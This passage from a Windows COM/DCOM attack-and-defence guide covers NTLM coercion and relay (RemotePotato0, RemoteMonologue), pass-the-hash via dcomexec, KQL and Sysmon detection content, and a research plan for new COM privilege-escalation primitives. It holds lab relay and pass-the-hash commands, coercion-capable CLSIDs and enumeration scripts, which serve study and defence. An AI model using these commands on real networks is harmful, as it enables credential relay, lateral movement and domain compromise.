MITRE: T1557.001 (relay; potato lineage T1134.001; RemoteMonologue also T1021.003) · Since: potato lineage from Forshaw's 2015 local NTLM reflection; RemotePotato0 — 2021, Cocomazzi & Pierini ([32]); RemoteMonologue — April 2025, Andrew Oliveau, IBM X-Force ([30],[31]) · Affects: chains below; RemotePotato0 needs an interactively logged-on privileged user on the victim

Beginner note: NTLM relay is a man-in-the-middle attack on NTLM authentication: the attacker induces ("coerces") a victim to authenticate to the attacker, then forwards that authentication to a third service (LDAP, AD CS, SMB) as the victim. The three moves are: trigger an authentication, relay it somewhere useful, profit. COM's role in this chapter is strictly the trigger.

Figure 3 — Coercion + relay: where COM plugs in (IStorage OBJREF → OXID resolution → authenticated calls → RPC-to-HTTP → ntlmrelayx → LDAP/AD CS/SMB) How to read this figure: the COM objects and OXID resolution live on the left (the trigger), the relay plumbing in the middle, and the relay targets on the right. The annotations mark KB5004442's hardening and the DistributedCOM 10036-10038 events — note they sit on the activation path, not the relay path.

Mechanics — RemotePotato0 ([32])

  1. Lineage: Forshaw's local NTLM reflection (P0, April 2015, since fixed) — a marshaled OBJREF_STANDARD with attacker-chosen RPC binding strings made a DCOM client bind to a fake OXID resolver and perform NTLM authentication, reflected to a local DCOM activation for a SYSTEM token. That bug birthed the potato family (T1134.001).
  2. The operator marshals an IStorage object (CoGetInstanceFromIStorage) and hands the OBJREF to a remote DCOM activator for a CLSID configured to run as Interactive User — default PoC {5167B42F-C111-47A1-ACC4-8EABE61B0B54}; BrowserBroker {0002DF02-0000-0000-C000-000000000046} also works.
  3. The victim resolves the OXID against the attacker's resolver (port 135 redirect).
  4. Authenticated ResolveOxid2/IRemUnknown2 calls arrive at the attacker — carrying the NTLM authentication of the interactively logged-on user (prerequisite: a privileged user must be interactively logged on).
  5. Relay the captured authentication RPC/TCP → HTTP wrapper → ntlmrelayx → LDAP / AD CS (ESC8) / SMB → domain admin.

Mechanics — RemoteMonologue ([30],[31])

  1. With local admin: take SeTakeOwnershipPrivilege on HKCR\AppID\{AppID} and set RunAs = "Interactive User" on a chosen object.
  2. Remotely instantiate the object and invoke a method/property that dereferences an attacker UNC path.
  3. The server authenticates to the attacker as the logged-on user (or the machine account) — coerced NTLM, ready to relay.
  4. Verified coercion-capable objects:
Object CLSID Coercion vector
ServerDataCollectorSet {03837546-098B-11D8-9414-505054503030} DataManager.Extract UNC parameter
FileSystemImage {2C941FC5-975B-59BE-A960-9A2A262853A5} WorkingDirectory property
UpdateSession {4CB43D7F-7EEE-4906-8698-60DA1C38F2FE} AddScanPackageService
MSTSWebProxy (ProgID/class per tool) UNC dereference
  1. Extras: NetNTLMv1 downgrade when LmCompatibilityLevel ≤ 2, and WebClient abuse via \\host@80\file paths to coerce over HTTP instead of SMB.

OXID resolver abuse

IOXIDResolver/IObjectExporter (UUID {99FCFEC4-5260-101B-BBCB-00AA0021347A}, port 135/epmap) is the service every potato/coercion abuses: OXID resolution is what redirects the victim's DCOM client to the attacker. It is also an unauthenticated recon source — ServerAlive2 leaks the target's network interfaces (impacket's oxidresolver) ([35]).

Why you relay FROM DCOM, not TO DCOM

Key idea: "You relay FROM DCOM, not TO DCOM." DCOM is a coercion source. As a relay destination, DCOM activation is closed.

  • PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)) coerce machine-account authentication over SMB/named-pipe RPC — they are not DCOM. Their coerced authentication relays to LDAP(S)/AD CS, not to DCOM activation.
  • DCOM as a relay target was closed by CVE-2021-26414 "DCOM Hardening" (KB5004442): activation now requires RPC_C_AUTHN_LEVEL_PKT_INTEGRITY or higher. Timeline: opt-in June 2021 → enabled by default June 2022 → mandatory March 2023, controlled by HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel ([34]).
  • New DistributedCOM events accompany the hardening: 10036 (server-side refusal of an activation below PKT_INTEGRITY — logs user/SID/client IP), 10037/10038 (client-side too-low authentication level).
  • The RunAs=Interactive User bug class is a decade old: CVE-2017-0100 (MS17-012, March 2017, "Windows HelpPane EoP", CVSS 7.8, Win7-10/2008R2-2016) was a DCOM object in Helppane.exe configured RunAs=Interactive User that failed to validate clients → LPE. RemoteMonologue is the 2025 remote re-weaponization of the same class ([33],[30]).

Pass-the-hash with DCOM: yes

dcomexec.py -hashes LMHASH:NTHASH user@target works with the MMC20/ShellWindows/ShellBrowserWindow objects; CrackMapExec has -dcom ([35]). Requirements: NTLM allowed, remote Launch/Activation rights (default Administrators), and LocalAccountTokenFilterPolicy=1 for local non-RID500 accounts. Compatible with KB5004442 because impacket speaks PKT_INTEGRITY. Maps to T1550.002 + T1021.003.

Prerequisites

Requirement Detail
Privileges RemotePotato0: low-privilege operator position + privileged user interactively logged on at victim. RemoteMonologue: local admin (for the AppID takeover)
OS/build Relay-to-DCOM closed on hardened builds (KB5004442 mandatory March 2023); relay from DCOM unaffected
Config Attacker-controlled OXID resolver/135 redirect (potatoes); NTLM relay targets (LDAP/AD CS/SMB) without signing/EPA
Evasion posture Registry writes (RemoteMonologue AppID RunAs), 135 redirect traffic, and relay-protocol indicators are the observable surface

Proof of concept

Lab relay skeleton (illustrative — verify flags in lab):

# Attacker: relay listener awaiting the coerced authentication
ntlmrelayx.py -t ldaps://dc01.lab.local          # or http://ca.lab.local/certsrv (ESC8) / smb://host
# Operator host: trigger the victim's DCOM client against the attacker's resolver
RemotePotato0.exe                                # default CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54}
# RemoteMonologue (IBM PoC): set RunAs, then remotely invoke the UNC-dereferencing method

Pass-the-hash variant (from impacket, ([35])):

dcomexec.py -object MMC20 -hashes LMHASH:NTHASH user@target

OpSec & detection

  • DistributedCOM 10036 is the KB5004442 server-side refusal — it logs user/SID/client IP and fires both on attacks and on hardening misconfiguration; 10037/10038 are the client-side counterparts. 10016 (permission denied) indicates probing.
  • Registry (Sysmon 12/13/14): HKLM\SOFTWARE\Classes\AppID\{...}\RunAs tampering (RemoteMonologue — KQL in section 8); LmCompatibilityLevel changes (NTLMv1 downgrade); HKLM\SOFTWARE\Microsoft\Ole\AppCompat\* (hardening tamper).
  • Network: workstation→workstation 135 + dynamic ports; 135 redirects to attacker hosts; HTTP on port 80 from WebClient-style \\host@80\file coercion.
  • Auth telemetry: Security 4624 Type 3 NTLM + 4672 on unexpected hosts; relay destinations see logons from the victim's context originating at the attacker's host.

Mitigations

  • Enforce KB5004442 (RequireIntegrityActivationAuthenticationLevel=1; alert on =0), LDAP signing + channel binding, SMB signing, and AD CS EPA — these collectively break the relay destinations, which is what actually blunts coercion ([34]).
  • Disable WebClient where not needed; turn NTLMv1 off (LmCompatibilityLevel=5).
  • Inventory AppIDs with RunAs = "Interactive User" and alert on changes; block workstation↔workstation 135.

8. Detection Engineering

This section consolidates every telemetry source named in the chapter into deployable form. Structure: what an EDR sees during a DCOM activation → per-source indicator tables → named analytics → KQL hunting queries → hardening baseline.

8.1 What an EDR sees during a DCOM activation

  1. Inbound TCP/135 → endpoint mapper → dynamic port; RemoteCreateInstance executes inside svchost -k DcomLaunch. Gap: raw RPC ETW does not carry the remote IP (the Zero Networks gap — see RPC Firewall below) ([37]).
  2. Security 4624 Type 3 NTLM logon; 4672 if the account is privileged.
  3. DcomLaunch spawns the server: mmc.exe -Embedding, explorer.exe, dllhost.exe /Processid:{CLSID}, EXCEL.EXE /automation -Embeddingthe lineage anchor.
  4. AppID/CLSID registry reads.
  5. Outbound callbacks to the client.

8.2 Sysmon indicator table

Event ID What to alert on
1 (process) regsvr32 with /i: + URL + scrobj.dll; mmc.exe -Embedding child of svchost (Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd); anomalous dllhost.exe /Processid:; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with .sct; PowerShell containing GetTypeFromCLSID/GetTypeFromProgID/Activator]::CreateInstance/ExecuteShellCommand/ShellExecute/DDEInitiate
3 (network) regsvr32 outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound
7 (image load) scrobj.dll in regsvr32; jscript/vbscript/scrrun in unusual hosts; clr.dll/clrjit.dll/mscoree.dll in dllhost/svchost/mmc/explorer (DotNetToJScript and trapped COM)
8 (CreateRemoteThread) COM injection mostly does NOT trip EID 8 — teach as an evasion gap
11 (file create) .sct drops
12/13/14 (registry) Writes under `HKCU\Software\Classes\CLSID{...}(InprocServer32
17/18 (pipes) Named pipes around mscorsvw.exe (marshaling)
22 (DNS) regsvr32 DNS lookups for scriptlet hosts

8.3 Windows event log table

Source / ID Relevance
Security 4688 Mirror of Sysmon 1
4624 Type 3, 4625, 4648, 4672 NTLM network logons and privilege use around DCOM/relay
4657/4663 Registry auditing with SACLs on Classes\AppID/CLSID
5156/5158 (WFP) Connection telemetry — noisy
5712 (RPC filter) Unreliable — do not build on it
DistributedCOM 10016 Permission denied — probing
DistributedCOM 10036/10037/10038 KB5004442 refusals (10036 logs user/SID/client IP)
DistributedCOM 10006/10009/10028 DCOM error context
PowerShell 4104 Script-block content (ExecuteShellCommand, GetTypeFromCLSID — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block") ([45])
AppLocker 8004 Blocked execution (policy working)

8.4 ETW providers (verified GUIDs; cross-checked against the public ETW GUID compilation ([40]))

Provider GUID Use
Microsoft-Windows-RPC {6AD52B32-D609-4BE9-AE07-CE8DAE937E39} (Debug) EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry") ([36])
Microsoft-Windows-RPC-Events {F4AED7C7-A898-4627-B053-44A7CAA12FCD} RPC operational
Microsoft-Windows-RPCSS {D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C} RPCSS/DcomLaunch host
Microsoft-Windows-COMRuntime {BF406804-6AFA-46E7-8A48-6C357E1D6D61} COM activation/runtime (verbose)
Microsoft-Windows-COM-Perf {B8D6861B-D20F-4EEC-BBAE-87E0DD80602B} perf
Microsoft-Windows-COM-RundownInstrumentation {2957313D-FCAA-5D4A-2F69-32CE5F0AC44E} rundown
Microsoft-Windows-DotNETRuntime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} assembly loads/JIT in COM hosts
Microsoft-Windows-Threat-Intelligence {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} injection behaviors (consumers must run PPL)

8.5 DCOM interface UUIDs to key on

Interface UUID
IRemoteSCMActivator {4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}
ISystemActivator {000001A0-0000-0000-C000-000000000046}
IObjectExporter / IOXIDResolver {99FCFEC4-5260-101B-BBCB-00AA0021347A}
IRemUnknown {00000131-0000-0000-C000-000000000046}
IRemUnknown2 {00000143-0000-0000-C000-000000000046}
IUnknown {00000000-0000-0000-C000-000000000046}
(chain context) MS-EFSR {C681D488-D850-11D0-8C52-00C04FD90F7E}
(chain context) MS-RPRN {AE33069B-A2A8-46EE-A235-DDFD339BE281} / {12345678-1234-ABCD-EF00-0123456789AB}

8.6 RPC Firewall: closing the remote-IP gap

Raw RPC ETW lacks the remote IP, so DCOM activation attribution is weak natively. Zero Networks' RPC Firewall closes the gap: per-call UUID/opnum/source-IP/principal in the RPCFW log (EID 3), with a Sigma rule "Remote DCOM/WMI Lateral Movement" (68050b10-e477-4377-a99b-3721b422d6ef) ([37],[38]). The native RPC filter event 5712 is unreliable; treat RPC Firewall (or equivalent RPC filters) as the deployable answer, and collect RPC ETW EID 5/6 on critical hosts ([36],[39]).

8.7 Named analytics to deploy

Source Asset
Sigma proc_creation_win_mmc_mmc20_lateral_movement.yml; proc_creation_win_regsvr32_squiblydoo.yml; rpc_firewall_remote_dcom_or_wmi.yml; registry_set_persistence_com_hijacking_builtin.yml ([41],[42])
MITRE CAR CAR-2019-04-003 (Squiblydoo) ([44])
Splunk "Remote Process Instantiation via DCOM and PowerShell" (d4f42098-4680-11ec-ad07-3e22fbd008af); "...Script Block" (fa1c3040-4680-11ec-a618-3e22fbd008af); "Mmc LOLBAS Execution Process Spawn" (f6601940-4c74-11ec-b9b7-3e22fbd008af); "Possible Lateral Movement PowerShell Spawn" (22282a2d-dc19-4b88-ac61-6c86ff92904f) ([45])
Elastic Prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM" ([46])
Atomic Red Team T1021.003 tests (validation)
Baselines sysmon-modular and SwiftOnSecurity sysmon-config ([47],[48])

8.8 KQL hunting queries (Microsoft Defender)

// DCOM lateral movement
DeviceProcessEvents
| where InitiatingProcessFileName =~ "svchost.exe"
| where InitiatingProcessCommandLine has "DcomLaunch"
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")

// Squiblydoo
DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")

// COM hijack registry
DeviceRegistryEvents
| where RegistryKey has @"Software\Classes\CLSID\"
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
| where ActionType has "SetValue" or ActionType has "Create"

// Trapped COM artifacts
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1

// CLR in COM hosts
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")

// RunAs tampering (RemoteMonologue)
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"

8.9 Adjacent hunting: elevated COM (UAC angle)

For completeness with the UAC chapter: hunt medium-IL parent → high-IL child without consent.exe; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to HKCU\Software\Classes\ms-settings\Shell\Open\command and mscfile\shell\open\command; CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7} instantiation; "Elevation:Administrator!new:" strings in command lines.

8.10 Baseline and hardening checklist

  1. Inventory legitimate DCOM (SCCM, backup, OPC, AV management) → deny the rest via dcomcnfg AppID Launch ACLs (MMC20 + Office CLSIDs first).
  2. Segment 135 + dynamic RPC to management hosts; block workstation↔workstation 135.
  3. Enforce KB5004442 (RequireIntegrityActivationAuthenticationLevel=1; alert on =0), LDAP signing + channel binding, SMB signing, AD CS EPA ([34]).
  4. AppLocker/WDAC block scrobj.dll script execution; disable WebClient; Office ASR rules.
  5. NTLMv1 off (LmCompatibilityLevel=5); LSA Protection.
  6. RPC Firewall on servers/DCs; collect RPC ETW EID 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs as Sysmon baselines ([48],[49]).

9. MITRE ATT&CK Mapping

Verified mapping for this chapter's content:

ID Name COM content
T1559.001 Inter-Process Communication: COM and DCOM local execution objects, scriptlets, DotNetToJScript, trapped COM
T1021.003 Remote Services: DCOM MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue
T1546.015 Event Triggered Execution: COM Hijacking CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + script: moniker variant (explicit in ATT&CK)
T1548.002 Abuse Elevation Control Mechanism: Bypass UAC elevated/auto-elevated COM (CMSTPLUA, elevation moniker)
T1218.010 System Binary Proxy Execution: Regsvr32 Squiblydoo
T1055 Process Injection PPL injection, IRundown::DoCallback, trapped-COM in-PPL
T1620 Reflective Code Loading Assembly.Load(byte[]) via COM
T1112 Modify Registry CLSID/TypeLib/AppID/RunAs/.NETFramework writes
T1550.002 Use Alternate Authentication Material: Pass the Hash dcomexec -hashes
T1134.001 Access Token Manipulation: Token Impersonation/Theft potato lineage
T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay relay chains with DCOM trigger
T1003.001 OS Credential Dumping: LSASS Memory PPL bypass end-goal
T1059.005/.007 Command and Scripting Interpreter: VB/JavaScript scriptlet bodies
T1027 Obfuscation Base64 .NET blobs
T1047 Windows Management Instrumentation WMI runs over DCOM (SWbemLocator)
T1068 Exploitation for Privilege Escalation CVE-2017-0100, PPL chain components

Research Lab: New Execution & Evasion Primitives

Hunting hypothesis

Three bug classes in this chapter are proven open, not exhausted:

  1. Type-library/proxy confusion. Every out-of-process COM server whose proxies/stubs are generated from a type library (rather than a hand-written proxy DLL) and that runs more privileged than its caller is a candidate for HKCU typelib-shadow type confusion. Forshaw's 2018 PPL chain proved one instance ([20]); nobody has systematically burned the class down, and typelib shadowing doubles as T1546.015 persistence.
  2. Trapped-COM expansion. Any marshal-by-reference OOP server whose referenced typelibs include stdole is a candidate for the StdFont→.NET reflection chain. Outflank's LLM-assisted registry enumeration already found alternative trapped-COM classes beyond WaaSRemediationAgent ([29]); Microsoft issued no CVE and no fix — the class is live.
  3. Coercion surfaces. RunAs=Interactive User objects with methods/properties that dereference UNC paths (the RemoteMonologue pattern) are a decade-old class (CVE-2017-0100, 2017) that still produced a new primitive in 2025 ([33],[30]).

Enumeration

Build the target list from the registry first, then enrich with OleViewDotNet:

# 1. All out-of-process (LocalServer32) classes — the outer boundary for
#    trapped-object and type-confusion targets
Get-ChildItem HKLM:\SOFTWARE\Classes\CLSID | ForEach-Object {
  if (Test-Path "$($_.PSPath)\LocalServer32") { $_.PSChildName }
}

# 2. AppIDs with a RunAs value — coercion candidates (RemoteMonologue pattern)
Get-ChildItem HKLM:\SOFTWARE\Classes\AppID | ForEach-Object {
  $ra = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).RunAs
  if ($ra) { "{0}  RunAs={1}" -f $_.PSChildName, $ra }
}

# 3. Interfaces marshaled from a type library (ProxyStub + TypeLib subkeys) —
#    these are shadowable from HKCU, i.e. type-confusion candidates
Get-ChildItem HKLM:\SOFTWARE\Classes\Interface | ForEach-Object {
  if ((Test-Path "$($_.PSPath)\ProxyStubClsid32") -and (Test-Path "$($_.PSPath)\TypeLib")) {
    $_.PSChildName
  }
}

Then in OleViewDotNet: load the COM database, filter classes by server type (LocalServer32), check which implement IDispatch, export their type libraries for diffing, and use the process viewer to confirm which classes a running privileged server actually hosts.

Triage heuristics

A target is promising if:

  • It runs out-of-process in a context more privileged than yours: a SYSTEM service, a PPL (check the signer, e.g. PsProtectedSignerWindows-Light), or another user's session.
  • Its interfaces carry a TypeLib subkey in HKLM — meaning the proxy/stub comes from a typelib you can shadow in HKCU.
  • It exposes IDispatch: GetTypeInfoITypeLib then tells you whether the server references stdole ({00020430-0000-0000-C000-000000000046}) — the StdFont trapped-object path.
  • Its AppID has RunAs = "Interactive User" (coercion), or any method/property takes a string that becomes a path, UNC, or URL (DataManager.Extract, WorkingDirectory, AddScanPackageService are the templates).
  • The host process is worth landing in: CLR DLLs are Microsoft-signed, so a reflection payload is image-signature-compatible with PPL targets.

Analysis workflow

Static checklist:

  1. Enumerate the class registration: CLSID, AppID (RunAs, LaunchPermission), server binary, code-signing level.
  2. Export the typelib and diff every method's parameter directions and pointer levels; flag [out] T* parameters — flipping one to [in] T in a shadow typelib is exactly the 2018 primitive ([20]).
  3. Confirm IDispatch support and enumerate referenced typelibs (stdole → StdFont path).
  4. Map methods to dangerous sinks: process creation, file writes, UNC fetches, reflection entry points.

Dynamic harness sketch (illustrative):

# Activate the candidate OOP, then probe the trapped object's type information.
# GetTypeInfo/ITypeLib must be reached through IDispatch — use OleViewDotNet's
# scripting host or a small C# harness:
$clsid = "<candidate-clsid>"
$obj   = [Activator]::CreateInstance([Type]::GetTypeFromCLSID($clsid))
# In C#: cast to IDispatch, call GetTypeInfo(0) -> ITypeInfo,
#        GetContainingTypeLib() -> ITypeLib, enumerate referenced libs.
# Then request StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) through the
# trapped object and test whether it materializes server-side.

Run the harness with Process Monitor, Sysmon (1, 7, 12/13/14, 17/18), and RPC ETW (EID 5/6) attached — you are simultaneously validating the primitive and producing its detection signature.

Fuzzing/mutation ideas (typelib/proxy-confusion specific)

  1. Signature mutation matrix. For each typelib-marshaled interface, generate shadow typelibs that mutate one parameter at a time: [out] T*[in] T; pointer-level reduction (T**T*); width changes (longhyper ↔ interface pointer); direction flips on string/array parameters. Register each under HKCU\Software\Classes\TypeLib, invoke with boundary values (0, 1, 0xFFFFFFFF, pointer-width patterns), and watch the server in a debugger. Integer-as-pointer unmarshaling surfaces as server-side writes to attacker-chosen addresses — precisely the ICorSvcPooledWorker::CanReuseProcess pattern ([20]).
  2. OBJREF/binding-string mutation. Marshal OBJREFs with mutated RPC binding strings and run a fake OXID resolver to discover new coercion flows — the RemotePotato0 methodology generalized ([32]).
  3. IDispatch surface fuzzing. On trapped objects, fuzz GetIDsOfNames/Invoke DISPID space and GetTypeInfo indices to find browseable server-side objects beyond StdFont ([26],[29]).
  4. AppID/RunAs sweep. In a VM, set RunAs = "Interactive User" on each AppID you can own, remote-activate each class, and watch for server-side dereferences of a controlled UNC share — RemoteMonologue's discovery method, automatable ([30]).

From crash/lead to primitive

  • Type confusion: prove the write by targeting a chosen address and validating the value in a debugger; then convert to a data-only weaponization — pre-filling handle tables and aliasing LdrpKnownDllDirectoryHandle — so the final chain needs no thread creation, no allocation APIs, no ROP ([20]).
  • Trapped object: prove with Assembly.Load(byte[]) of a marker assembly that writes a file or raises an ETW event inside the protected server; capture the full artifact set as your detection deliverable ([26]).
  • Coercion: prove by capturing the inbound NTLM with ntlmrelayx in a lab and completing one relay to LDAP; record which account context (interactive user vs machine$) the object yielded.
  • Disclosure framing: expect "not a security boundary" for PPL-only and admin→PPL findings — Microsoft's servicing criteria deny CVEs/bounties there (precedent: the 2018 PPL chain and the 2025 trapped-COM class, both un-CVE'd). Write the detection content as the primary deliverable ([20],[26]).

Further reading

  • Injecting Code into Windows Protected Processes using COM, Part 1 — Forshaw ([20])
  • Process Injection via COM IRundown::DoCallback — MDSec ([25])
  • Windows Bug Class: Accessing Trapped COM Objects with IDispatch — Forshaw ([26])
  • Fileless Lateral Movement with Trapped COM Objects — IBM X-Force ([27])
  • RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force ([30])
  • Utilizing RPC Telemetry — SpecterOps ([36])

References

[1] Bypass Application Whitelisting with Scriptlets (Squiblydoo) — Casey Smith, subt0x11.blogspot.com (2016) — https://subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html [2] Backdoor.sct — original Squiblydoo PoC gist — Casey Smith (2016) — https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302 [3] AMSI: Antimalware Scan Interface — Red Canary — https://redcanary.com/blog/amsi/ [4] Disabling AMSI in JScript with One Simple Trick — James Forshaw, tiraniddo.dev (2018) — https://tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html [5] DotNetToJScript — James Forshaw (2017) — https://github.com/tyranid/DotNetToJScript [6] Freestyling with SharpShooter v1.0 — MDSec (2018) — https://mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/ [7] Lateral Movement using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ [8] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ [9] Lateral Movement using Excel.Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ [10] Lateral Movement using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ [11] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ [12] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ [13] DCOM Lateral Movement Techniques — Cybereason (Tsukerman, 2018-19) — https://www.cybereason.com/blog/dcom-lateral-movement-techniques [14] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom [15] Invoke-DCOM.ps1 — rvrsh3ll, Misc-Powershell-Scripts — https://github.com/rvrsh3ll/Misc-Powershell-Scripts [16] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html [17] Hunting COM Objects, Parts 1-2 — FireEye (2019) — https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html [18] DCOM enumeration paper — Axel Boesenach, hackdefense.com — https://hackdefense.com/ [19] AppLocker case study — oddvar.moe — https://oddvar.moe/ [20] Injecting Code into Windows Protected Processes using COM — Part 1 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html [21] Injecting Code into Windows Protected Processes using COM — Part 2 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html [22] Project Zero Issue 1332: CiSetFileCache TOCTOU (CVE-2017-11830) — Google Project Zero — https://bugs.chromium.org/p/project-zero/issues/detail?id=1332 [23] Bypassing PPL in Userland, Again — itm4n — https://itm4n.github.io/bypassing-ppl-in-userland-again/ [24] PPLmedic — itm4n — https://github.com/itm4n/PPLmedic [25] Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec (2022) — https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ [26] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Google Project Zero (2025) — https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html [27] Fileless Lateral Movement with Trapped COM Objects — IBM X-Force, Tran & Bayne (2025) — https://ibm.com/think/news/fileless-lateral-movement-trapped-com-objects [28] ForsHops — IBM X-Force Red — https://github.com/xforcered/ForsHops [29] Accelerating Offensive Research with LLM — Outflank, Kyle Avery (2025) — https://outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ [30] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force, Andrew Oliveau (2025) — https://ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions [31] RemoteMonologue PoC — https://github.com/3lp4tr0n/RemoteMonologue [32] RemotePotato0 — Antonio Cocomazzi & Andrea Pierini (2021) — https://github.com/antonioCoco/RemotePotato0 [33] CVE-2017-0100 — NVD — https://nvd.nist.gov/vuln/detail/CVE-2017-0100 [34] KB5004442 — DCOM Server Security Feature Bypass hardening (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/ (KB5004442) [35] impacket — Fortra — https://github.com/fortra/impacket [36] Utilizing RPC Telemetry — SpecterOps — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5 [37] Stopping Lateral Movement via the RPC Firewall — Zero Networks — https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall [38] RPC Firewall — Zero Networks — https://github.com/zeronetworks/rpcfirewall [39] RPC Detection — ftrsec — https://ftrsec.github.io/Blog/rpc-detection/ [40] ETW provider GUID compilation — guitarrapc gist — https://gist.github.com/guitarrapc/35a94b908bad677a7310 [41] detection.fyi — Sigma rule browser (MMC20, Squiblydoo, RPC firewall rules) — https://detection.fyi/ [42] SigmaHQ/sigma — incl. registry_set_persistence_com_hijacking_builtin.yml — https://github.com/SigmaHQ/sigma [43] Squiblydoo in-the-wild analysis — Intezer — https://intezer.com/ [44] CAR-2019-04-003: Squiblydoo — MITRE Cyber Analytics Repository — https://car.mitre.org/analytics/CAR-2019-04-003/ [45] Splunk DCOM analytics — Splunk research — https://research.splunk.com/ [46] How to hunt: Detecting persistence and evasion with COM — Elastic — https://elastic.co/blog/how-hunt-detecting-persistence-evasion-com [47] sysmon-config — SwiftOnSecurity — https://github.com/SwiftOnSecurity/sysmon-config [48] sysmon-modular — Olaf Hartong — https://github.com/olafhartong/sysmon-modular [49] How to Detect DCOM Lateral Movement — detect.fyi — https://detect.fyi/how-to-detect-dcom-lateral-movement